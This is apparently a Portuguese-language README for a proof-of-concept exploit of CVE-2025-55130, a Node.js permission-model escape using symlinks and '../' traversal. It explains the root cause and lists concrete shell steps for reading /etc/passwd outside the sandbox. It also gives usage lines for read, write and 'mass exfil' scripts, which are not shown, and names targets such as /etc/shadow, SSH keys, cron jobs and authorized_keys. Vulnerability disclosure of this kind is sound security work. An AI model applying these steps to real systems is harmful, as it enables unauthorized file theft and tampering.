CVE-2025-55130 - Escape do Modelo de Permissão do Node.js via Symlink
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Node.js Permission Model Bypass via Crafted Symlinks
[ Discovered by natann @ JFrog ]
Visão Geral
Uma falha de path traversal no Node.js permite escapar das restrições de permissão --allow-fs-read e --allow-fs-write usando symlinks que apontam para caminhos absolutos combinados com travessia relativa.
A verificação de permissão e a resolução de caminho acontecem separadamente. Depois que o caminho inicial passa pela verificação de permissão, o symlink é seguido e as sequências de travessia escapam do sandbox.
Versões Afetadas
Análise Técnica
Causa Raiz
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
O modelo de permissão valida a string do caminho antes da resolução do symlink. Ao criar um symlink para um caminho absoluto e usar a travessia ../ DEPOIS do symlink, escapamos do diretório permitido.
Fluxo de Ataque
1. mkdir -p ./a/b/c/d/e/f/g # Create nested dirs in allowed path
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink to absolute path
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
Permission check passes (inside ./)
After symlink resolution:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
Traversal escapes to root
Arquivos
| Arquivo | Finalidade |
|---|
exploit.js | Exploit principal - lê arquivos arbitrários |
exploit_write.js | Escreve arquivos arbitrários |
Uso
# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Check if vulnerable
node check.js
# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
Impacto
- Ler arquivos sensíveis: /etc/passwd, /etc/shadow, chaves SSH, configurações
- Escrever arquivos arbitrários: cron jobs, authorized_keys, configurações
- Escape de container em ambientes multi-tenant
- Bypass de sandbox para execução de código não confiável
Referências
Créditos
- Vulnerabilidade: Natan Nehorai (natann) @ JFrog Security Research
- Correção: RafaelGSS @ Node.js
Apenas para pesquisa e testes autorizados.